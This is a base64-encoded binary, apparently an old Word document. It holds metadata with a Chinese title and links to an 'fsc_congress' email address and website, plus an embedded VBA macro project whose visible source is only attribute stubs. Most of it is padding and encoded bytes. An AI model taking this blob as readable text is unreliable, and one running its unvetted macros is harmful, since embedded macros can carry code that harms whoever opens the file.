AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+/wAABQACAAAAAAAAAAAAAAAAAAAAAAAC
AAAAAtXN1ZwuGxCTlwgAKyz5rkQAAAAF1c3VnC4bEJOXCAArLPmuVAEAABABAAAMAAAAAQAAAGgA
AAAPAAAAcAAAAAUAAACQAAAABgAAAJgAAAARAAAAoAAAABcAAACoAAAACwAAALAAAAAQAAAAuAAA
ABMAAADAAAAAFgAAAMgAAAANAAAA0AAAAAwAAADyAAAAAgAAAOn9AAAeAAAAFgAAAENvbXBhcSBD
b21wdXRlciBDb3JwLgAgAAMAAAAiAAAAAwAAAAgAAAADAAAAARQAAAMAAAAyEQkACwAAAAAAAAAL
AAAAAAAAAAsAAAAAAAAACwAAAAAAAAAeEAAAAQAAABYAAADoh7Tnp5HlrabnlYzlkIzku4HvvJoA
DBAAAAIAAAAeAAAABgAAAFRpdGxlAAMAAAABAAAA5AEAAAMAAAAAAAAAIAAAAAEAAAA4AAAAAgAA
AEAAAAABAAAAAgAAAAwAAABfUElEX0hMSU5LUwACAAAA6f0AAEEAAACcAQAAGAAAAAMAAAAKAAEA
AwAAAAYAAAADAAAAAAAAAAMAAAAFAAAAHwAAACAAAABtAGEAaQBsAHQAbwA6AGYAcwBjAF8AYwBv
AG4AZwByAGUAcwBzAEAAaABvAHQAbQBhAGkAbAAuAGMAbwBtAAAAHwAAAAEAAAAAAAAAAwAAABgA
UQADAAAAAwAAAAMAAAAAAAAAAwAAAAUAAAAfAAAAHQAAAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBm
AHMAYwAtAGMAbwBuAGcAcgBlAHMAcwAuAG8AcgBnAC8AAAAAAB8AAAABAAAAAAAAAAMAAAAKAAEA
AwAAAAAAAAADAAAAAAAAAAMAAAAFAAAAHwAAACAAAABtAGEAaQBsAHQAbwA6AGYAcwBjAF8AYwBv
AG4AZwByAGUAcwBzAEAAaABvAHQAbQBhAGkAbAAuAGMAbwBtAAAAHwAAAAEAAAAAAAAAAwAAAAsA
AAADAAAARSMAAAMAAAABBAAAAwAAAAEAAAAfAAAABgAAAGwAbwBnAG8AMQAAAB8AAAABAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAIAAAADAAAABAAAAAUAAAAGAAAABwAAAAgAAAAJ
AAAACgAAAAsAAAAMAAAADQAAAA4AAAAPAAAAEAAAABEAAAASAAAAEwAAABQAAAAVAAAAFgAAABcA
AAAYAAAAGQAAABoAAAAbAAAAHAAAAB0AAAAeAAAAHwAAACAAAAAhAAAA/v///yMAAAAkAAAAJQAA
ACYAAAAnAAAAKAAAACkAAAAqAAAAKwAAACwAAAD+////LgAAAC8AAAAwAAAAMQAAADIAAAAzAAAA
NAAAADUAAAA2AAAANwAAADgAAAA5AAAAOgAAADsAAAA8AAAAPQAAAD4AAAA/AAAAQAAAAEEAAABC
AAAAQwAAAEQAAABFAAAARgAAAEcAAABIAAAA/v///0oAAABLAAAATAAAAE0AAABOAAAATwAAAFAA
AAD+////UgAAAFMAAABUAAAAVQAAAFYAAABXAAAAWAAAAP7////9////WwAAAFwAAABqAAAA/v//
/18AAABgAAAAYQAAAGIAAABjAAAAZAAAAGUAAABmAAAAZwAAAGgAAABpAAAA/v////7/////////
////////////////////////////////////////////////////////////////////////////
//////////////////////////////9SAG8AbwB0ACAARQBuAHQAcgB5AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFgAFAf//////////AwAAAAYJAgAAAAAAwAAA
AAAAAEYAAAAAAAAAAAAAAADw8Uz3kr/BAV4AAABAFwAAAAAAAEQAYQB0AGEAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAIB////////////
////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgAAAFgUAAAAAAAAMQBUAGEA
YgBsAGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA4AAgEBAAAA//////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtAAAA
6zcAAAAAAABXAG8AcgBkAEQAbwBjAHUAbQBlAG4AdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAGgACAQYAAAAFAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAiQgAAAAAAAAUAUwB1AG0AbQBhAHIAeQBJAG4AZgBvAHIAbQBhAHQAaQBv
AG4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAIB////////////////AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASQAAAAAQAAAAAAAABQBEAG8AYwB1AG0AZQBuAHQAUwB1
AG0AbQBhAHIAeQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAAAAADgAAgEEAAAA////////
//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABRAAAAABAAAAAAAABNAGEAYwBy
AG8AcwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
DgABAAIAAAAOAAAACwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkENC95K/wQEQXkj3kr/BAQAAAAAA
AAAAAAAAAFYAQgBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAIAAEB//////////8JAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQQ0L3kr/B
AXDXRveSv8EBAAAAAAAAAAAAAAAAZABpAHIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAgD///////////////8AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtgIAAAAAAABUAGgAaQBzAEQAbwBjAHUAbQBlAG4A
dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGgACAQgAAAAKAAAA////
/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAAAB0BgAAAAAAAF8AVgBCAEEA
XwBQAFIATwBKAEUAQwBUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
AAIA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJQAAAHEL
AAAAAAAAUABSAE8ASgBFAEMAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAABAAAgEHAAAADAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAABTAAAAZwEAAAAAAAABAAAAAgAAAAMAAAAEAAAABQAAAAYAAAAHAAAACAAAAAkAAAAK
AAAA/v///wwAAAANAAAADgAAAA8AAAAQAAAAEQAAABIAAAATAAAAFAAAABUAAAAWAAAAFwAAABgA
AAAZAAAAGgAAABsAAAAcAAAAHQAAAB4AAAAfAAAAIAAAACEAAAAiAAAAIwAAACQAAAD+////JgAA
ACcAAAAoAAAAKQAAACoAAAArAAAALAAAAC0AAAAuAAAALwAAADAAAAAxAAAAMgAAADMAAAA0AAAA
NQAAADYAAAA3AAAAOAAAADkAAAA6AAAAOwAAADwAAAA9AAAAPgAAAD8AAABAAAAAQQAAAEIAAABD
AAAARAAAAEUAAABGAAAARwAAAEgAAABJAAAASgAAAEsAAABMAAAATQAAAE4AAABPAAAAUAAAAFEA
AABSAAAA/v///1QAAABVAAAAVgAAAFcAAABYAAAA/v////7////+////XAAAAP7/////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
/////////////////////////wGysoABAAQAAAABADAqAgKQCQBwFAZIAwCCAgBk5AQEAAcAHABQ
cm9qZWN0BVEAKAAAQAIUBgIUPa0CCgcCbAEUCAYSCQISgEwtVTwCAAwCShI8AgoWAAFyc3RkEG9s
ZT4CGXMAdAAAZABvAGwAZVAADQBoACVeAAMqAFxHezAwMDIwsDQzMC0ACAQEQwAKAwIOARIwMDQ2
fSMAMi4wIzAjQzoAXFdJTkRPV1MAXFN5c3RlbTMAMlxTdGRPbGUAMi5UbGIjT0wARSBBdXRvbWGw
dGlvbgBgAAIWAm4ATVNGb3Jtcz4EAA4ACU0AUwBGAQBGcgBtAHMALzQAfIAJcoABAUc4OQBCNDA1
MzEtNgAzNUQtMTFEMiAtQjg0QwBHQTAAQzlBMEUwMEMDGUcENC5UV0QjTQBpY3Jvc29mdIogAj4g
AGIgT2IBsgAgTGlicmFyeeMAOgABMACMgAKBVwKIADkzN0JEMzUtKDEzRIJANoBAOTIBlUBURU1Q
XFdvQHJkOC4wXIU+RQJYpz7hLkUNj+AAGhCFLgJgjE1EC7TBhBYAD0AkVIBlbXBsYXRlRIYYPgAe
AQVAcG0AcAVAcmHAdGUAUAByFYBSakAFY8ADDgAghcAICcAAKlxDToBcBGFsCgPDp5o4AYIAw4dP
ZmZpY8SHiE8AZkAAaQBjwBEoDQCQwA+GwhBHe0AyREY4RDBAYDUAQkZBLTEwMUKgLUJERTWBQ0HA
hho0wAIyCGTAKmdyYQBtIEZpbGVzXAtHYAMbXIQBTVNPOWA3LkRMTMhogwYgi4BREmkPAssBABPC
AQiIKBnCtVRoaXMARG9jdW1lbnSiGk4EMgAYQDFUwLuKaQCaRMBJYwB1AJ0oZQBuwEocwAYAAKpI
QgExQtLjAN8eQgJFAQUsQhqKKCJCCCsFQgEQQgEAAAAAAAAAAAAAARYBAAC2AP//AQEAAAAA////
/wAAAAD///////8AADq9NwndE9YRuJIAoMmg4AwpvTcJ3RPWEbiSAKDJoOAMAAAAAAAAAAAAAAAA
AAAAAAAAEAAAAAMAAAAFAAAABwAAAP//////////AQEIAAAA/////3gAAADeAAAAcwUAAAkCAAD/
////AAAAAAEAAACIKIooAAD//6MAAACIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA//8AAI8FAADWAAAA1gAAAOMFAAAAAP////8AAAAA3wD//wAAAAAMAP//////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
UAAAAAIAUyL/////AAABAFMQ/////wAAAQBTIv////8AAAAAAjwQAP//AAAAAAI8FAD//wAAAAAC
PBgA//8AAAAAAjwcAP//AAAAAAI8/////wAA//8BAQAAAAABADoAMQBUAGUAbQBwAGwAYQB0AGUA
UAByAG8AagBlAGMAdAAuAFQAaABpAHMARABvAGMAdQBtAGUAbgB0AAAAAAAAAN8IAAAAMAAAAAEB
6AIAAAKB/v///////////ygAAAAAAP//AAAAAAAAAAD//////////wAAAAAdAAAAJAAAAGgBAACg
AAAAKoAdAiAAAAA4AIQDMAAAAAMAAAA4AARAAAAAAP//////////AAAAAB0ADAAAAAAAKoAfAiAA
AABAAJADYAAAAAMAAQBAAARAAQAAAP//////////uAkAAB0ADAAAAAAAKoAhAiAAAABIAJwDkAAA
AAMAAgBIAARAAgAAAP//////////qAwAAGgBAAAQAAAA/////zgAAABoAAAAwAAAAAKD/v//////
CAD//wABAAAAAP///////wAAAAD//////////yAAAAAdABAAJAAAAIKgEAL//////v///zABAAAC
AP///v///wAAAAD//////////yAAAAAdABAAJAAAAAKD/v//////CAD//2ABAAAAAP///////wAA
AAD//////////yAAAAAdABAAJAAAAP/////gAAAABgAAAP//////////gAAAAOACAADIAAAAKoAr
AiAAAABcAMADgAEAAAMABwBcAARABwAAAP//////////AAABgB0ADAAAAAAAKoAtAiAAAABkAMwD
sAEAAAMACABkAARACAAAAP//////////+AAAAB0ADAAAAAAAKoAvAiAAAABsANgD4AEAAAMACQBs
AARACQAAAP//////////KAEAAOACAAA4AAAAuAEAAOgBAAD/////////////////////////////
//84AAAAaAAAAJgAAADIAAAA+AAAACgBAAACg/7//////wgA//94AgAAAAD///////8AAAAA////
//////8EAAAAHQAQACQAAACCoBAC//////7///+oAgAAAgD///7///8AAAAA//////////8AAAAA
HQAQACQAAAACg/7//////wgA///YAgAAAAD///////8AAAAA//////////8AAAAAHQAQACQAAAD/
////GAEAAAAAAAAAAAEAAAAAAAAA////////////////AAAAAP////////////////////8AAAAA
//////////8IAQAAOAEAAAAAAAAAAAAAWAAEAAAAAACoA4QD////////////////////////////
/wgABQD/////TUUAAP///////wAAAAD//wAAAAD//wEBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7KAQAAAP////8BAQgAAAD/
////eAAAAAGNsABBdHRyaWJ1dABlIFZCX05hbQBlID0gIlRoaQBzRG9jdW1lbhB0Ig0KCoxCYXMB
AowxVGVtcGxhAHRlUHJvamVjBHQuGWhDcmVhdAhhYmwBckZhbHMCZQyoUHJlZGVjJGxhAAZJZACB
VHICdQ0iRXhwb3NlgxQcBYtEZXJpdhUkAEN1c3RvbWl6AwSHA2MAAAAAAAAAAAAAAADMYV4AAAEA
/wkEAAAJBAAA5AQBAAAAAAAAAAAAAQAGAAIAFgEqAFwARwB7ADAAMAAwADIAMAA0AEUARgAtADAA
MAAwADAALQAwADAAMAAwAC0AQwAwADAAMAAtADAAMAAwADAAMAAwADAAMAAwADAANAA2AH0AIwAz
AC4AMAAjADkAIwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwAQwBvAG0AbQBvAG4A
IABGAGkAbABlAHMAXABNAGkAYwByAG8AcwBvAGYAdAAgAFMAaABhAHIAZQBkAFwAVgBCAEEAXABW
AEIAQQAzADMAMgAuAGQAbABsACMAVgBpAHMAdQBhAGwAIABCAGEAcwBpAGMAIABGAG8AcgAgAEEA
cABwAGwAaQBjAGEAdABpAG8AbgBzAAAAAAAAAAAAAAAAABABKgBcAEcAewAwADAAMAAyADAAOQAw
ADUALQAwADAAMAAwAC0AMAAwADAAMAAtAEMAMAAwADAALQAwADAAMAAwADAAMAAwADAAMAAwADQA
NgB9ACMAOAAuADAAIwA0ADAAOQAjAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABN
AGkAYwByAG8AcwBvAGYAdAAgAE8AZgBmAGkAYwBlAFwATwBmAGYAaQBjAGUAXABNAFMAVwBPAFIA
RAA4AC4ATwBMAEIAIwBNAGkAYwByAG8AcwBvAGYAdAAgAFcAbwByAGQAIAA4AC4AMAAgAE8AYgBq
AGUAYwB0ACAATABpAGIAcgBhAHIAeQAAAAAAAAAAAAAAAAC8ACoAXABHAHsAMAAwADAAMgAwADQA
MwAwAC0AMAAwADAAMAAtADAAMAAwADAALQBDADAAMAAwAC0AMAAwADAAMAAwADAAMAAwADAAMAA0
ADYAfQAjADIALgAwACMAMAAjAEMAOgBcAFcASQBOAEQATwBXAFMAXABTAHkAcwB0AGUAbQAzADIA
XABTAHQAZABPAGwAZQAyAC4AVABsAGIAIwBPAEwARQAgAEEAdQB0AG8AbQBhAHQAaQBvAG4AAAAA
AAAAAAAAAAAA5AAqAFwARwB7ADgAOQBCADQAMAA1ADMAMQAtADYAMwA1AEQALQAxADEARAAyAC0A
QgA4ADQAQwAtADAAMABBADAAQwA5AEEAMABFADAAMABDAH0AIwAyAC4AMAAjADAAIwBDADoAXABX
AEkATgBEAE8AVwBTAFwAUwB5AHMAdABlAG0AMwAyAFwATQBTAEYAbwByAG0AcwAuAFQAVwBEACMA
TQBpAGMAcgBvAHMAbwBmAHQAIABGAG8AcgBtAHMAIAAyAC4AMAAgAE8AYgBqAGUAYwB0ACAATABp
AGIAcgBhAHIAeQAAAAAAAAAAAAAAAQDcACoAXABHAHsAMAA5ADMANwBCAEQAMwA1AC0AMQAzAEQA
RAAtADEAMQBEADYALQBCADgAOQAyAC0AMAAwAEEAMABDADkAQQAwAEUAMAAwAEMAfQAjADIALgAw
ACMAMAAjAEMAOgBcAFQARQBNAFAAXABXAG8AcgBkADgALgAwAFwATQBTAEYAbwByAG0AcwAuAEUA
WABEACMATQBpAGMAcgBvAHMAbwBmAHQAIABGAG8AcgBtAHMAIAAyAC4AMAAgAE8AYgBqAGUAYwB0
ACAATABpAGIAcgBhAHIAeQAAAAAAAAAAAAAAAgAAAOEuRQ2P4BoQhS4CYIxNC7QAABIAKgBcAEMA
TgBvAHIAbQBhAGwAEgAqAFwAQwBOAG8AcgBtAGEAbADDp5o4AQAAAAAAAAAMASoAXABHAHsAMgBE
AEYAOABEADAANABDAC0ANQBCAEYAQQAtADEAMAAxAEIALQBCAEQARQA1AC0AMAAwAEEAQQAwADAA
NAA0AEQARQA1ADIAfQAjADIALgAwACMAMAAjAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABl
AHMAXABNAGkAYwByAG8AcwBvAGYAdAAgAE8AZgBmAGkAYwBlAFwATwBmAGYAaQBjAGUAXABNAFMA
TwA5ADcALgBEAEwATAAjAE0AaQBjAHIAbwBzAG8AZgB0ACAATwBmAGYAaQBjAGUAIAA4AC4AMAAg
AE8AYgBqAGUAYwB0ACAATABpAGIAcgBhAHIAeQAAAAAAAAAAAAAAAAABAAIAAwAEAgAABgIBAAgC
AAAYAv///////wAAAAD//wAATC1VPAIA////////////////////////////////////////////
//////////////8AAP///////////////////////wEAAAAAAAAAAAAAAAAAAAAAAAAAiCgBABgA
VABoAGkAcwBEAG8AYwB1AG0AZQBuAHQACgAxNzNjNTUzZGQyAwAqRAERAv//iigAAAAAAAAAAgAA
